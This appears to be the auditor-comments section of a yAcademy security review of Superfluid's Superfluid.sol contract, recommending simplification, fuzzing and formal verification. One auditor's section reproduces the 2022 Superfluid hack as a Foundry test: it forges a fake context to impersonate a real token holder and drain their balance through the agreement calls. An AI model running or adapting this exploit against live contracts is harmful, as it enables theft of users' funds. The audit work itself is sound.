The Superfluid contracts are very dense and complex, making the code hard to audit. The Superfluid devs do not appear to fully understand the code either and describe aspects of it as esoteric. Refactoring the code for improved readability and understanding should prioritized because complexity is the enemy of security. More complex code is more likely to have bugs. The scope was limited to a part of Superfluid that has a large number of external interactions and it was not possible to review all these interactions due to time limitations and because the external contracts were outside the scope of the review.
devtooligan
This contract is very unique and utilizes a lot of lower level assembly logic and optimizations. It also contains more advanced data structures such as bitmaps that utilize bitwise operations. It was interesting to review as the architecture was complex and cleverly implemented.
Due to the high degree of footguns made available to users by virtue of the open composable design of the protocol, the overall base risk level goes up. Devs should strongly consider simplifying certain mechanism in order to reduce complexity even at the expense of some additional runtime gas in certain situations. Equal attention should also be given to documentation throughout the codebase as well as the outside documentation.
Benjamin Samuels
I initially spent a day or two manually reviewing the key Superfluid.sol contract, followed by an attempt to set up Echidna to fuzz various invariants. Unfortunately the short duration of the audit window prevented any truly comprehensive fuzzing.
The Superfluid.sol contract encapsulates a lot of unique, complex logic which made it exceptionally challenging to manually review. The different ways that Superfluid’s logic can be composed together, combined with the wide variety of behavior that can be introduced by agreements/apps produces a large space for potential behavior, drastically diminishing the effectiveness of manual audits/code review.
If there are critical vulnerabilities still existing in Superfluid, I think it’s unlikely they will be discovered via manual review. If Superfluid desires to further invest in the protocol’s security, I recommend pursuing one of the following options:
- Build a comprehensive fuzzing suite using Echidna/equivalent.
- Pursue formal verification of key logic paths.
While Superfluid does have a few fuzzing invariants implemented using Foundry, as of time of writing, Foundry’s fuzzing capability is very immature compared to Echidna. I recommend porting existing invariants to Echidna or contracting an auditor to implement a new invariant suite.
blockdev
The scope to Superfluid.sol
is not enough for an effective security review. This contract acts a central management piece which interacts with all the other actors in the system — SuperApp, SuperAgreement, Governance. To analyze complex risks, it’s important to be aware of all these contracts.
A lot of responsibility is placed on these contracts, which, in turn, places a responsibility on Governance. Governance should review each new implementation contracts carefully keeping in mind possible attacks, before changing production so that it doesn’t break any security.
datapunk
Didn’t find anything as useful due to the uniqueness and complexity of this project. For fun only, I reproduced the sequence of the actual hack that happened on 2/8/2022.
contract ContractTest is DSTest {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
address constant exploiter_eoa = address(0x1574F7F4C9d3aCa2EbcE918e5d19d18aE853c090);
address constant exploit_contract = address(0x32D47ba0aFfC9569298d4598f7Bf8348Ce8DA6D4); // -> 0x6177a480240d3248849f4b65e421e0b296522f21
ISuperToken QI_proxy = ISuperToken(0xe1cA10e6a10c0F72B74dF6b7339912BaBfB1f8B5); // -> 0x6177a480240d3248849f4b65e421e0b296522f21
address[] QI_holders = [0x5073c1535A1a238E7c7438c553F1a2BaAC366cEE, // 16818386482145059198434304
0xe6116AA08e14afE08A9A563E9ef6cCd5b47070B7 // 2569487563094033900633960
];
ISuperfluid sf_proxy = ISuperfluid(0x3E14dC1b13c488a8d5D310918780c983bD5982E7); //->0xebbe9a6688be25d058c9469ee4807e5ef192897f
IInstantDistributionAgreementV1 IDA = IInstantDistributionAgreementV1(0xB0aABBA4B2783A72C52956CDEF62d438ecA2d7a1); // ->0x07711bb6dfbc99a1df1f2d7f57545a67519941e7
function testExploit() public{
vm.startPrank(exploit_contract);
uint256 balance = QI_proxy.balanceOf(QI_holders[0]);
emit log_named_uint("QI_Proxy:", balance);
sf_proxy.callAgreement(
ISuperAgreement(IDA),
abi.encodeWithSelector(
IInstantDistributionAgreementV1.updateSubscription.selector, // 0x232d2b58
QI_proxy, // token
98789, // indexId
exploit_contract, // subscriber
balance, // units
abi.encode( // ctx
abi.encode(
0, // callInfo uint256
0, // timestamp
QI_holders[0], // msgSender
0, // agreementSelector
new bytes(0) // userData
),
abi.encode(
0, // allowanceIO
0, // appAllowanceUsed
address(0), // appAddress
address(0) // appAllowanceToken
)
), // !! FAKE CTX !!
new bytes(0) // placeHolderCtx
),
new bytes(0)
);
sf_proxy.callAgreement( // 0x39255d5b
ISuperAgreement(IDA),
abi.encodeWithSelector(
IInstantDistributionAgreementV1.updateIndex.selector, // 7fbc7639
QI_proxy,
98789, // indexId
1, // indexValue
abi.encode(
abi.encode(
0, // callInfo uint256
0, // timestamp
QI_holders[0], // msgSender
0, // agreementSelector
new bytes(0) // userData
),
abi.encode(
0, // allowanceIO
0, // appAllowanceUsed
address(0), // appAddress
address(0) // appAllowanceToken
)
), // !! FAKE CTX !!
new bytes(0) // placeHolderCtx
),
new bytes(0)
);
sf_proxy.callAgreement(
ISuperAgreement(IDA),
abi.encodeWithSelector(
IInstantDistributionAgreementV1.claim.selector, // 0xacafa1b8
QI_proxy, // token
QI_holders[0], // publisher
98789, // indexId
exploit_contract, // subscriber
new bytes(0) // placeHodler ctx
),
new bytes(0) // user data
);
uint256 balance2 = QI_proxy.balanceOf(QI_holders[0]);
emit log_named_uint("QI_Proxy:", balance2);
}
receive() payable external{}
}
About yAcademy
yAcademy is an ecosystem initiative started by Yearn Finance and its ecosystem partners to bootstrap sustainable and collaborative blockchain security reviews and to nurture aspiring security talent. yAcademy includes a fellowship program, a residents program, and a guest auditor program. In the fellowship program, fellows perform a series of periodic security reviews and presentations during the program. Residents are past fellows who continue to gain experience by performing security reviews of contracts submitted to yAcademy for review (such as this contract). Guest auditors are experts with a track record in the security space who temporarily assist with the review efforts.